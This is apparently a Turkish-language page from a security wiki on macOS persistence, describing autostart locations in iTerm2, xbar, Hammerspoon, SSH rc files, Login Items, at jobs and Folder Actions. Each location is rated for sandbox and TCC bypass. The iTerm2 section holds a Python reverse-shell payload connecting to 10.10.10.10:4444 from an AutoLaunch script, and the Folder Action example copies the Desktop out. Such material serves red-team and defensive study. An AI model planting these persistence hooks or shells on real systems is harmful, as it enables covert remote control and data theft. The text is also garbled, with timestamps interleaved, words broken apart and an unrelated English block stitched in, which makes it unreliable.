### iTerm2
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0002/ ](https://theevilbit.github.io/beyond/beyond\_0002/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
* iTerm2, TCC izinlerine sahip olabilir
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konumlar
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: iTerm açı lı nca
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: iTerm açı lı nca
2023-09-28 20:05:35 +00:00
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: iTerm açı lı nca
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** konumunda saklanan betikler çalı ştı rı lacaktı r. Örneğin:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" < < EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
```
2024-02-13 00:51:21 +00:00
```markdown
## macOS Auto Start Locations
2024-02-10 18:14:16 +00:00
2024-02-13 00:51:21 +00:00
### Launch Agents
2024-02-10 18:14:16 +00:00
2024-02-13 00:51:21 +00:00
Launch Agents are used to run processes when a user logs in. They are stored in the following directories:
2024-02-10 18:14:16 +00:00
2024-02-13 00:51:21 +00:00
- `/Library/LaunchAgents`
- `/System/Library/LaunchAgents`
- `/Users/<username>/Library/LaunchAgents`
2024-02-10 18:14:16 +00:00
2024-02-13 00:51:21 +00:00
### Launch Daemons
2024-02-10 18:14:16 +00:00
2024-02-13 00:51:21 +00:00
Launch Daemons are used to run processes at system startup. They are stored in the following directories:
2024-02-10 18:14:16 +00:00
2024-02-13 00:51:21 +00:00
- `/Library/LaunchDaemons`
- `/System/Library/LaunchDaemons`
2024-02-10 18:14:16 +00:00
2024-02-13 00:51:21 +00:00
### Startup Items
2024-02-10 18:14:16 +00:00
2024-02-13 00:51:21 +00:00
Startup Items are legacy and deprecated in macOS, but still supported for compatibility. They are stored in the `/Library/StartupItems` directory.
2024-02-10 18:14:16 +00:00
2024-02-13 00:51:21 +00:00
### Login Items
2024-02-10 18:14:16 +00:00
2024-02-13 00:51:21 +00:00
Login Items are applications that open when a user logs in. They can be managed in the Users & Groups preferences.
2024-02-10 18:14:16 +00:00
2024-02-13 00:51:21 +00:00
### Cron Jobs
2024-02-10 18:14:16 +00:00
2024-02-13 00:51:21 +00:00
Cron Jobs are scheduled tasks that run at specific times. They can be managed using the `crontab` command or by editing the `/etc/crontab` file.
2024-02-10 18:14:16 +00:00
```
2023-11-02 16:52:21 +00:00
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" < < EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os
async def main(connection):
2024-02-10 18:14:16 +00:00
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)
2023-11-02 16:52:21 +00:00
iterm2.run_forever(main)
EOF
```
2024-02-13 00:51:21 +00:00
Betik ** `~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt` ** de yürütülecektir:
2023-09-28 20:05:35 +00:00
```bash
do shell script "touch /tmp/iterm2-autolaunchscpt"
```
2024-02-13 00:51:21 +00:00
**`~/Library/Preferences/com.googlecode.iterm2.plist`** konumundaki iTerm2 tercihleri, iTerm2 terminali açı ldı ğı nda **çalı ştı rı lacak bir komutu belirtebilir** .
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Bu ayar, iTerm2 ayarları nda yapı landı rı labilir:
2023-09-28 20:05:35 +00:00
2024-01-10 00:59:55 +00:00
< figure > < img src = "../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt = "" width = "563" > < figcaption > < / figcaption > < / figure >
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Ve komut tercihlere yansı tı lı r:
2023-09-28 20:05:35 +00:00
```bash
plutil -p com.googlecode.iterm2.plist
{
2024-02-10 18:14:16 +00:00
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
2023-09-28 15:09:34 +00:00
```
2024-02-13 00:51:21 +00:00
Komutun çalı ştı rı lacağı şekli ayarlayabilirsiniz:
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% code overflow="wrap" %}
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2
# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
2023-09-28 15:09:34 +00:00
```
2023-09-28 20:05:35 +00:00
{% endcode %}
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="warning" %}
2024-02-13 00:51:21 +00:00
İTerm2 tercihlerini kötüye kullanmak için **başka yolları n** olması muhtemeldir.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
### xbar
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0007/ ](https://theevilbit.github.io/beyond/beyond\_0007/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
* Ancak xbar yüklü olmalı
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* Erişilebilirlik izinleri istiyor
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application\ Support/xbar/plugins/`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: xbar çalı ştı rı ldı ğı nda
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama
2023-12-29 13:55:22 +00:00
2024-02-13 00:51:21 +00:00
Eğer popüler program [**xbar** ](https://github.com/matryer/xbar ) yüklü ise, ** `~/Library/Application\ Support/xbar/plugins/` ** dizininde bir kabuk betiği yazmak mümkündür ve bu betik xbar başlatı ldı ğı nda çalı ştı rı lacaktı r:
2023-12-29 13:55:22 +00:00
```bash
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" < < EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
```
2023-09-28 20:05:35 +00:00
### Hammerspoon
2024-02-13 00:51:21 +00:00
**Açı klama**: [https://theevilbit.github.io/beyond/beyond\_0008/ ](https://theevilbit.github.io/beyond/beyond\_0008/ )
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
* Kum havuzunu atlamak için faydalı : [✅ ](https://emojipedia.org/check-mark-button )
* Ancak Hammerspoon'un yüklü olması gerekir
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
* Erişilebilirlik izinleri istiyor
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
* **`~/.hammerspoon/init.lua`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Hammerspoon çalı ştı rı ldı ğı nda
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
[**Hammerspoon** ](https://github.com/Hammerspoon/hammerspoon ), işlemleri için **LUA betik dili**ni kullanan **macOS** için bir otomasyon platformu olarak hizmet verir. Özellikle, tam AppleScript kodunun entegrasyonunu destekler ve kabuk betiklerinin yürütülmesini sağlayarak betikleme yeteneklerini önemli ölçüde artı rı r.
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Uygulama, tek bir dosyayı arar, `~/.hammerspoon/init.lua` , ve betik başlatı ldı ğı nda yürütülür.
2023-09-28 20:05:35 +00:00
```bash
2023-12-29 13:55:22 +00:00
mkdir -p "$HOME/.hammerspoon"
2023-09-28 20:05:35 +00:00
cat > "$HOME/.hammerspoon/init.lua" < < EOF
2023-12-29 13:55:22 +00:00
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
2023-09-28 20:05:35 +00:00
EOF
```
2024-02-13 00:51:21 +00:00
### BetterTouchTool
* Kullanı şlı dı r çünkü kum havuzunu atlar: [✅ ](https://emojipedia.org/check-mark-button )
* Ancak BetterTouchTool yüklü olmalı dı r
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
* Otomasyon-Kı sayolları ve Erişilebilirlik izinleri istenir
#### Konum
* `~/Library/Application Support/BetterTouchTool/*`
Bu araç, bazı kı sayollar bası ldı ğı nda uygulamaları veya betikleri yürütmek için gösterge koymayı sağlar. Bir saldı rgan, **kendi kı sayolunu ve eylemini yürütmek için veritabanı nda yapı landı rabilir** ve keyfi kodu yürütmesini sağlayabilir (bir kı sayol sadece bir tuşa basmak olabilir).
### Alfred
* Kullanı şlı dı r çünkü kum havuzunu atlar: [✅ ](https://emojipedia.org/check-mark-button )
* Ancak Alfred yüklü olmalı dı r
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
* Otomasyon, Erişilebilirlik ve hatta Tam Disk erişimi izinleri istenir
#### Konum
* `???`
Belirli koşullar karşı landı ğı nda kodu yürütebilen iş akı şları oluşturmayı sağlar. Bir saldı rganı n bir iş akı şı dosyası oluşturup Alfred'ı n bunu yüklemesini sağlaması potansiyel olarak mümkündür (iş akı şları nı kullanabilmek için premium sürümü satı n almak gereklidir).
2023-09-28 15:09:34 +00:00
### SSHRC
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0006/ ](https://theevilbit.github.io/beyond/beyond\_0006/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
* Kullanı şlı dı r çünkü kum havuzunu atlar: [✅ ](https://emojipedia.org/check-mark-button )
* Ancak ssh etkinleştirilmiş ve kullanı lmı ş olmalı dı r
2024-02-10 18:14:16 +00:00
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* SSH'nin FDA erişimine sahip olması gerekir
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
* **`~/.ssh/rc`**
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: ssh üzerinden oturum açma
2023-09-28 15:09:34 +00:00
* **`/etc/ssh/sshrc`**
2024-02-13 00:51:21 +00:00
* Root gereklidir
* **Tetikleyici**: ssh üzerinden oturum açma
2023-09-28 15:09:34 +00:00
2023-12-29 13:55:22 +00:00
{% hint style="danger" %}
2024-02-13 00:51:21 +00:00
ssh'yi açmak için Tam Disk Erişimi gereklidir:
2023-09-28 15:09:34 +00:00
```bash
2023-12-29 13:55:22 +00:00
sudo systemsetup -setremotelogin on
2023-09-28 15:09:34 +00:00
```
2023-12-29 13:55:22 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-12-29 13:55:22 +00:00
2024-02-13 00:51:21 +00:00
Varsayı lan olarak, `/etc/ssh/sshd_config` dosyası nda `PermitUserRC no` belirtilmediği sürece, bir kullanı cı **SSH üzerinden oturum açtı ğı nda** ** `/etc/ssh/sshrc` ** ve ** `~/.ssh/rc` ** betikleri çalı ştı rı lacaktı r.
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
### **Oturum Açma Öğeleri**
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0003/ ](https://theevilbit.github.io/beyond/beyond\_0003/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* Ancak `osascript` 'i argümanlarla çalı ştı rmanı z gerekmektedir
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konumlar
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
2024-02-13 00:51:21 +00:00
* **Tetikleyici:** Oturum Açma
* Sömürü yükü, ** `osascript` **'i çağı rarak depolanmı ştı r
2023-09-28 20:05:35 +00:00
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
2024-02-13 00:51:21 +00:00
* **Tetikleyici:** Oturum Açma
2024-02-10 18:14:16 +00:00
* Root gereklidir
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Sistem Tercihleri -> Kullanı cı lar ve Gruplar -> **Oturum Açma Öğeleri** 'nde, **kullanı cı nı n oturum açtı ğı nda çalı ştı rı lacak öğeleri** bulabilirsiniz.\
2024-02-10 18:14:16 +00:00
Onları komut satı rı ndan listelemek, eklemek ve kaldı rmak mümkündür:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'
#Add an item:
2024-02-10 18:14:16 +00:00
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
2023-09-28 20:05:35 +00:00
#Remove an item:
2024-02-10 18:14:16 +00:00
osascript -e 'tell application "System Events" to delete login item "itemname"'
2023-09-28 15:09:34 +00:00
```
2024-02-13 00:51:21 +00:00
Bu öğeler ** `~/Library/Application Support/com.apple.backgroundtaskmanagementagent` ** dosyası nda saklanı r.
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
**Giriş öğeleri**, yapı landı rmayı ** `/var/db/com.apple.xpc.launchd/loginitems.501.plist` ** konumunda saklayacak olan [SMLoginItemSetEnabled ](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc ) API'si kullanı larak da belirtilebilir.
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
### ZIP Giriş Öğesi Olarak
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
(Giriş Öğeleri hakkı nda önceki bölüme bakı n, bu bir uzantı dı r)
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Eğer bir **ZIP** dosyası nı bir **Giriş Öğesi** olarak saklarsanı z, ** `Archive Utility` ** onu açacak ve örneğin ZIP dosyası ** `~/Library` ** konumunda saklanı yorsa ve içinde ** `LaunchAgents/file.plist` ** adı nda bir arka kapı içeren bir klasör bulunuyorsa (varsayı lan olarak bulunmaz), o klasör oluşturulacak ve plist eklenerek bir sonraki kullanı cı oturum açtı ğı nda, plist'te belirtilen **arka kapı çalı ştı rı lacaktı r** .
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Başka bir seçenek, ** `.bash_profile` ** ve ** `.zshenv` ** dosyaları nı kullanı cı HOME dizini içine oluşturmaktı r, böylece LaunchAgents klasörü zaten varsa bu teknik yine de çalı şacaktı r.
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
### At
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0014/ ](https://theevilbit.github.io/beyond/beyond\_0014/ )
2023-12-30 00:49:26 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* Ancak ** `at` ** komutunu **çalı ştı rmanı z** ve etkin olması **gerekmektedir**
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
* **`at`** komutunu **çalı ştı rmanı z** ve etkin olması **gerekmektedir**
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### **Açı klama**
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
`at` görevleri, belirli zamanlarda yürütülmek üzere **tek seferlik görevlerin zamanlaması nı ** sağlamak için tasarlanmı ştı r. Cron işleri gibi, `at` görevleri otomatik olarak yürütüldükten sonra kaldı rı lı r. Bu görevlerin sistem yeniden başlatmaları sı rası nda kalı cı olduğunu unutmamak önemlidir, bu da onları belirli koşullar altı nda potansiyel güvenlik endişeleri olarak işaretler.
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
**Varsayı lan olarak** devre dı şı bı rakı lmı şlardı r ancak **root** kullanı cı sı bunları aşağı daki komutla **etkinleştirebilir** :
2023-09-28 20:05:35 +00:00
```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```
2024-02-10 18:14:16 +00:00
Bu, 1 saat içinde bir dosya oluşturacak:
2023-09-28 20:05:35 +00:00
```bash
echo "echo 11 > /tmp/at.txt" | at now+1
```
2024-02-13 00:51:21 +00:00
İş kuyruğunu `atq` kullanarak kontrol edin:
2023-09-28 20:05:35 +00:00
```shell-session
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
```
2024-02-10 18:14:16 +00:00
Yukarı da iki zamanlanmı ş iş görebiliriz. İşi ayrı ntı ları yla yazdı rmak için `at -c İŞNUMARASI` kullanabiliriz.
2023-09-28 20:05:35 +00:00
```shell-session
sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
2024-02-10 18:14:16 +00:00
echo 'Execution directory inaccessible' >& 2
exit 1
2023-09-28 20:05:35 +00:00
}
unset OLDPWD
echo 11 > /tmp/at.txt
```
{% hint style="warning" %}
2024-02-13 00:51:21 +00:00
Eğer AT görevleri etkin değilse, oluşturulan görevler çalı ştı rı lmayacaktı r.
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-02-13 00:51:21 +00:00
**İş dosyaları ** şurada bulunabilir: `/private/var/at/jobs/`
2023-09-28 20:05:35 +00:00
```
sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ
-rw------- 1 root wheel 0 Apr 26 23:17 .lockfile
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
```
2024-02-13 00:51:21 +00:00
Dosya adı sı rayı , iş numarası nı ve çalı şma zamanı nı içerir. Örneğin `a0001a019bdcd2` dosyası na bakalı m.
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
* `a` - bu kuyruktur
2024-02-10 18:14:16 +00:00
* `0001a` - onaltı lı k iş numarası , `0x1a = 26`
* `019bdcd2` - onaltı lı k zaman. Bu, epoch'tan bu yana geçen dakikaları temsil eder. `0x019bdcd2` , ondalı k olarak `26991826` 'dı r. 60 ile çarptı ğı mı zda `1619509560` elde ederiz, bu da `GMT: 2021 Nisan 27, Salı 7:46:00` 'yi temsil eder.
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
İş dosyası nı yazdı rı rsak, `at -c` kullanarak elde ettiğimiz bilgileri içerdiğini görürüz.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
### Klasör Eylemleri
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0024/ ](https://theevilbit.github.io/beyond/beyond\_0024/ )\
Açı klama: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d ](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* Ancak ** `System Events` ** ile iletişim kurabilmek için `osascript` 'ı argümanlarla çağı rabilmeniz gerekir.
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-13 00:51:21 +00:00
* Masaüstü, Belgeler ve İndirmeler gibi bazı temel TCC izinlerine sahiptir
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/Library/Scripts/Folder Action Scripts`**
2024-02-13 00:51:21 +00:00
* Kök gereklidir
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Belirtilen klasöre erişim
2023-09-28 20:05:35 +00:00
* **`~/Library/Scripts/Folder Action Scripts`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Belirtilen klasöre erişim
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Klasör Eylemleri, bir klasördeki değişiklikler (örneğin öğeler eklemek, kaldı rmak veya diğer eylemler gibi klasör penceresini açmak veya yeniden boyutlandı rmak) tarafı ndan otomatik olarak tetiklenen betiklerdir. Bu eylemler çeşitli görevler için kullanı labilir ve Finder UI veya terminal komutları gibi farklı yollarla tetiklenebilir.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Klasör Eylemleri kurmak için şu seçeneklere sahipsiniz:
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
1. [Automator ](https://support.apple.com/guide/automator/welcome/mac ) ile bir Klasör Eylemi iş akı şı oluşturup bir hizmet olarak yüklemek.
2. Bir betiği manuel olarak bir klasörün bağlam menüsündeki Klasör Eylemleri Kurulumu aracı lı ğı yla eklemek.
3. Programatik olarak bir Klasör Eylemi kurmak için `System Events.app` 'e Apple Olayı iletileri göndermek için OSAScript'i kullanmak.
2024-02-10 18:14:16 +00:00
* Bu yöntem, eylemi sisteme gömmek ve kalı cı lı k düzeyi sunmak için özellikle kullanı şlı dı r.
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Aşağı daki betik, bir Klasör Eylemi tarafı ndan yürütülebilecek bir örnektir:
2023-09-28 15:09:34 +00:00
```applescript
2024-02-07 04:06:18 +00:00
// source.js
2023-09-28 15:09:34 +00:00
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
2024-02-13 00:51:21 +00:00
Yukarı daki betiği Klasör Eylemleri tarafı ndan kullanı labilir hale getirmek için şunu kullanarak derleyin:
2024-02-07 04:06:18 +00:00
```bash
osacompile -l JavaScript -o folder.scpt source.js
```
2024-02-13 00:51:21 +00:00
Script derlendikten sonra, aşağı daki betiği çalı ştı rarak Klasör İşlemlerini ayarlayı n. Bu betik, Klasör İşlemlerini genel olarak etkinleştirecek ve önceden derlenmiş betiği özel olarak Masaüstü klasörüne ekleyecektir.
2023-09-28 15:09:34 +00:00
```javascript
2024-02-07 04:06:18 +00:00
// Enabling and attaching Folder Action
2023-09-28 15:09:34 +00:00
var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);
```
2024-02-13 00:51:21 +00:00
Ayar betiği aşağı daki şekilde çalı ştı rı n:
2024-02-07 04:06:18 +00:00
```bash
osascript -l JavaScript /Users/username/attach.scpt
```
2024-02-13 00:51:21 +00:00
* Bu kalı cı lı ğı GUI aracı lı ğı yla uygulamanı n yolu:
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Bu, yürütülecek olan betiktir:
2023-09-28 15:09:34 +00:00
{% code title="source.js" %}
```applescript
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
{% endcode %}
2024-02-13 00:51:21 +00:00
Aşağı daki komutla derleyin: `osacompile -l JavaScript -o folder.scpt source.js`
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Taşı yı n:
2023-09-28 15:09:34 +00:00
```bash
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
```
2024-02-13 00:51:21 +00:00
Sonra, `Folder Actions Setup` uygulaması nı açı n, **izlemek istediğiniz klasörü seçin** ve sizin durumunuzda ** `folder.scpt` **'yi seçin (benim durumumda ona output2.scp adı nı verdim):
2023-09-28 15:09:34 +00:00
2024-01-10 00:59:55 +00:00
< figure > < img src = "../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt = "" width = "297" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Şimdi, eğer o klasörü **Finder** ile açarsanı z, betiğiniz çalı ştı rı lacaktı r.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Bu yapı landı rma, base64 formatı nda ** `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist` ** konumunda saklanmı ştı r.
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Şimdi, bu kalı cı lı ğı GUI erişimi olmadan hazı rlamayı deneyelim:
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
1. ** `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist` **'yi yedeklemek için `/tmp` 'ye kopyalayı n:
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
2024-02-13 00:51:21 +00:00
2. Şimdi, ayarladı ğı nı z Klasör Eylemlerini **kaldı rı n** :
2023-09-28 15:09:34 +00:00
2024-01-10 00:59:55 +00:00
< figure > < img src = "../.gitbook/assets/image (3) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Şimdi boş bir ortama sahip olduğumuza göre
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
3. Yedek dosyası nı kopyalayı n: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
4. Bu yapı landı rmayı tüketmek için Folder Actions Setup.app'ı açı n: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
2023-09-28 15:09:34 +00:00
{% hint style="danger" %}
2024-02-13 00:51:21 +00:00
Ve bu benim için çalı şmadı , ama bunlar yazı dan talimatlar:(
2023-09-28 15:09:34 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
### Dock kı sayolları
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
Yazı : [https://theevilbit.github.io/beyond/beyond\_0027/ ](https://theevilbit.github.io/beyond/beyond\_0027/ )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
